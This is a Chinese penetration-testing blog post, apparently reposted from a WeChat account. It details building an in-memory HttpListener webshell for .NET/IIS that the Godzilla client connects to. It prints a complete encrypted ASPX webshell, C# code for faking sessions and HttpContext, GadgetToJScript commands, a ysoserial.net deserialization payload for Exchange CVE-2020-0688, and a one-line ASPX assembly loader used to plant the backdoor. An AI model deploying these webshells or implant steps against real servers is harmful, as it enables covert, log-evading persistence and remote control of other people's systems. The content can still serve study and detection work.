DotNet内存马-HttpListener

渗透技巧 2年前 (2021) admin
2,017 0 0

0x00 背景

最近新出了一个新的Exchange的漏洞——CVE-2021–42321,虽然是Post-Auth,但是还是去看了一下,地址:https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852,这个漏洞挺普通的,但是提到了通过序列化漏洞种内存马的操作,也就是之前头像哥写的CVE-2020-17144漏洞分析与武器化(http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html) 中的利用,所以就顺便学习了一下。

0x01 HttpListener

为了简化HTTP协议的监听器,.NET为我们提供了HttpListener类(命名空间System.Net),文档见:https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener ,头像哥在CVE-2020-17144的利用中也提供了一个Demo(https://github.com/zcgonvh/CVE-2020-17144/blob/master/e.cs)。使用HttpListener的好处就是,可以通过调用HTTP API进行端口复用,而且还不会有IIS日志,当然,也有缺点,就是种HttpListener马需要高权限,那么,我们是否可以对这个demo进行改造,搞成一个一句话,然后通过客户端来连接呢?

0x02 HttpListener shell

一、Godzilla Aspx webshell

个人平常比较喜欢用Godzilla(https://github.com/BeichenDream/Godzilla),现在最新的版本是4.0.1 (https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla),所以就来看看怎么来创建一个HttpListener,可以直接用Godzilla来连接。
首先,生成一个CSharp的AES_BASE64 的aspx webshell来看一下。DotNet内存马-HttpListener

<%@ Page Language="C#"%><%
try {
string key = "3c6e0b8a9c15224a";
string pass = "pass";
string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
if (Context.Session["payload"] == null) {
Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
}
else {
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
o.Equals(Context);
o.Equals(outStream);
o.Equals(data);
o.ToString();
byte[] r = outStream.ToArray();
Context.Response.Write(md5.Substring(0, 16));
Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length)));
Context.Response.Write(md5.Substring(16));
}
}
catch (System.Exception) { }
%>

对Webshell进行了简单的格式化,可以看到,首先,Webshell会获取Request包中pass传递的数据,进行Base64解密之后,再进行AES解密,获得原始payload,也就是Jar包中的shells/payloads/csharp/assets/payload.dll,如果当前Context session中不包含 payload,那就通过System.Reflection.Assembly加载这个dll,并存在session中,如果当前Context session中含有payload,那就调用CreateInstance 方法来实例化这个类,之后再调用这个类里面重写的Equals方法,来处理一些object,最后再按照一定的格式输出返回值。

看起来好像并不复杂,所以,基于头像哥的demo,我们开始来构造一个HttpListener的Godzilla马。

二、踩坑之路

看起来虽然简单,但是实际上操作起来,却发现有不少的问题。

1、Session
首先,如何使用HttpListener 怎么获取Request里面的session ?经过一番查找,发现HttpListener并没有获取Session的方法,通过抓包,我们可以看到Godzilla,在第一次发包的时候,并没有携带Cookie,发给服务端之后,服务端返回Set-Cookie

DotNet内存马-HttpListener

后续请求,客户端携带此Cookie进行请求。

DotNet内存马-HttpListener


所以这里需要自己通过设置Http头和字典来实现一个。

Dictionary<string, dynamic> sessiontDirectory = new Dictionary<string, dynamic>();

利用这个字典实现一个Session的功能,来设置ASP.NET_SessionId即可。

Cookie sessionCookie = request.Cookies["ASP.NET_SessionId"];
if (sessionCookie == null){
Guid sessionId = Guid.NewGuid();
var payload = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
sessiontDirectory.Add(sessionId.ToString(), payload);
response.SetCookie(new Cookie("ASP.NET_SessionId", sessionId.ToString()));
...
}else{
dynamic payload = sessiontDirectory[sessionCookie.Value];
...
}

这样,Session的问题就解决了。

2、HttpContext

在当前版本的Godzilla里,需要进行以下操作。

o.Equals(Context);

跟了一下Payload.dll,这里拿到了Context之后对Context做了存储

DotNet内存马-HttpListener

getBasicsInfo处,通过HttpContext获取了当前Web的路径

DotNet内存马-HttpListener

而这个Context是System.Web.HttpContext, 参考HttpContext Class(https://docs.microsoft.com/en-us/dotnet/api/system.web.httpcontext?view=netframework-4.8), 而我们现在的HttpListener的Context为System.Net.HttpListenerContext, 参考HttpListenerContext Class(https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistenercontext?view=net-6.0),这两个对象是不同的,所以,一开始就尝试了进行以下转换方法:

HttpListenerContext context = listener.GetContext();
HttpListenerRequest request = context.Request;
HttpListenerResponse response = context.Response;
...
HttpRequest req = new HttpRequest("", request.Url.ToString(), request.QueryString.ToString());
System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream);
HttpResponse resp = new HttpResponse(writer);
HttpContext httpContext = new HttpContext(req, resp);

之后,EXE就顺利的跑了起来。尝试连接当前监听的Prefixes。

DotNet内存马-HttpListener

也成功的连接,并可以进行各种操作。

DotNet内存马-HttpListener

真的这样就可以了么?并不行!当我把这个代码通过aspx种到web服务上后,当前版本的Godzilla去连接,Check连接回显成功,但是进入shell会报以下错误:

DotNet内存马-HttpListener

经过多次测试,发现还是HttpContext的问题,由于我们并没有获取到当前Web的HttpContext,所以在返回数据的时候,某些必要的数据丢失了,所以导致了这个报错,当然新版本Godzilla如果没有o.Equals(Context)操作的话,我们完全不用考虑这个问题,就可以保证我们的listener独立,这也是最好的解决方案。

那在当前版本下,有什么办法来获取到当前Web的HttpContext呢? 于是,我找到了HttpContext.Current,参考:HttpContext.Current Property(https://docs.microsoft.com/en-us/dotnet/api/system.web.httpcontext.current?view=netframework-4.8)。

所以,我们现在的Listener中获取Context的方式就可以改成

HttpContext httpContext = HttpContext.Current;
if (httpContext == null) {
HttpRequest req = new HttpRequest("", request.Url.ToString(), request.QueryString.ToString());
System.IO.StreamWriter writer = new System.IO.StreamWriter(response.OutputStream);
HttpResponse resp = new HttpResponse(writer);
httpContext = new HttpContext(req, resp);
}

种马之后,完美连接~

3、Thread

本以为可以收工了,后来发现连接的Shell连不上了,经过几次测试,都是这样。打了一下Log,发现有以下问题:

DotNet内存马-HttpListener

种的马退出了,这样的结果显然不是我们想要的,如何解决呢?

HttpContext ctx = HttpContext.Current;
Thread Listen = new Thread(Listener);
Thread.Sleep(0);
Listen.Start(ctx);

创建一个新的Thread,并把当前Thread的HttpContext传递过去。经过测试,我们想要的马已经可以正常工作的。

地址:https://github.com/A-D-Team/SharpMemshell

0x03 种马

相比虚拟目录马,HttpListener马的种马方式可以更加多样,当然,前提是已经有了高权限(过UAC或者SYSTEM),下面就介绍几种种马的操作。

1、利用EXE

这种方式就是要跑一个exe起来,当然也可以通过CS execute-assembly的方式来进行,在IIS环境下,我们可以对已有的一些端口作端口服用,如果目标没有WEB服务,我们依然可以通过这种方式开启一个端口来作为后门(虽然可能没啥用)。

DotNet内存马-HttpListener

2、利用GadgetToJScript

除了EXE,因为是C#,我们当然可以尝试使用GadgetToJScript (https://github.com/med0x2e/GadgetToJScript) 来做一下脚本转换。
比如,我们可以通过以下命令转换为JS

GadgetToJScript.exe -w js -c memshell.cs -d System.dll,System.Net.dll,System.Threading.dll,System.Web.dll,System.Core.dll,Microsoft.CSharp.dll -o 1 -b

DotNet内存马-HttpListener

比较熟悉LOLBAS的同学,应该会想到很多玩法,比如mshta,vba等。
运行JS可以通过管理员身份点击,或者以下命令行来执行

wscript 1.js

js这里不能使用 new Thread(), 用的时候要注意一下

生成HTA

GadgetToJScript.exe -w hta -c memshell.cs -d System.dll,System.Net.dll,System.Threading.dll,System.Web.dll,System.Core.dll,Microsoft.CSharp.dll -o 1 -b

DotNet内存马-HttpListener

直接生成的可以用,但是执行命令会有黑框,hta不能退出。

3、利用反序列化漏洞

反序列化漏洞也就是之前头像哥的那个利用了,但是针对不同的漏洞,生成利用链的方式也有所不同,不能一概而论,在用于实战之前,一定要经过自己测试!再去使用,由于我这里没有CVE-2021–42321的漏洞环境,所以就使用之前的CVE-2020-0688做种马测试,在这里,生成payload需要借助于ysoserial.net(https://github.com/pwntester/ysoserial.net)。由于Exchange本身对Post数据的限制,禁止了绝大部分aspx文件的POST请求方法,所以我们需要创建一个允许POST且Exchange本身不存在的aspx文件,例如LiveIdError.aspx,之后通过ActivitySurrogateSelectorFromFile构造反序列化数据,进行CreateViewState操作后,提交给exchange,进行漏洞利用,这里在头像哥的文章里面也介绍的很清楚了,可以参考CVE-2020-0688的武器化与.net反序列化漏洞那些事 (https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html)以及利用代码CVE-2020-0688(https://github.com/zcgonvh/CVE-2020-0688), 为了方便利用,我也将头像哥的.net利用,改成了Py版本的,并加入了种马的利用,地址在 ExchangeCmdPy.py:https://github.com/Ridter/cve-2020-0688/blob/master/ExchangeCmdPy.py。

利用过程为,修改代码中的监听地址:

DotNet内存马-HttpListener

先使用Yso.Net 生成反序列化数据。

ysoserial -g ActivitySurrogateSelectorFromFile -f BinaryFormatter -c "memshell.cs;System.Web.dll;System.dll;Microsoft.CSharp.dll;System.Core.dll"

DotNet内存马-HttpListener

之后使用工具进行发包:

DotNet内存马-HttpListener

对我们种的shell进行验证:

DotNet内存马-HttpListener

已经成功种上~

4、利用Aspx

这里利用Aspx中马,可以直接将利用改成Aspx进行种马操作,另外还可以直接用以下方式进行种马操作,只需要将我们的CS编译为DLL,进行base64编码后替换B64DATA,然后访问这个Aspx即可,当然,也可通过传参来实现:

<%@ Page Language="C#" %><%System.Reflection.Assembly.Load(Convert.FromBase64String("B64DATA")).CreateInstance("SharpMemshell");%>

修改一下监听URL进行测试:

DotNet内存马-HttpListener

访问以后,成功植入。

DotNet内存马-HttpListener

其他的利用方式就不列举了,只需要能加载这个程序集,就能够实现种马操作。

0x04 小结

本文介绍HttpListener的内存马上的一些改造过程和利用方法,主要是出于学习目的,HttpListener马有自己的优势,也有自己的缺陷,在没有高权限的时候,虚拟目录马可能是更好的选择。
关于虚拟目录马,可以参考三好师傅的渗透技巧——利用虚拟文件隐藏ASP.NET Webshell (https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E8%99%9A%E6%8B%9F%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8FASP.NET-Webshell), 还有Beichen师傅的高级攻防演练下的Webshell(https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf),另外由于IIS的缺陷,通过httplistener去修改httpcontext可能会有一些风险,最好的方式还是保证我们的httplistener独立,这个在后续版本的Godzilla里面可能会有支持,也感谢头像师傅跟Beichen师傅的指导和分享。

0x05 参考

1、https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852
2、https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html
3、https://www.zcgonvh.com/post/weaponizing_CVE-2020-0688_and_about_dotnet_deserialize_vulnerability.html
4、https://github.com/knownsec/KCon/blob/master/2021/%E9%AB%98%E7%BA%A7%E6%94%BB%E9%98%B2%E6%BC%94%E7%BB%83%E4%B8%8B%E7%9A%84Webshell.pdf
5、https://github.com/zcgonvh/CVE-2020-17144
6、https://github.com/BeichenDream/Godzilla
7、https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-%E5%88%A9%E7%94%A8%E8%99%9A%E6%8B%9F%E6%96%87%E4%BB%B6%E9%9A%90%E8%97%8FASP.NET-Webshel


原文始发于微信公众号(安全攻防团队):DotNet内存马-HttpListener

版权声明:admin 发表于 2021年12月2日 上午7:43。
转载请注明:DotNet内存马-HttpListener | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...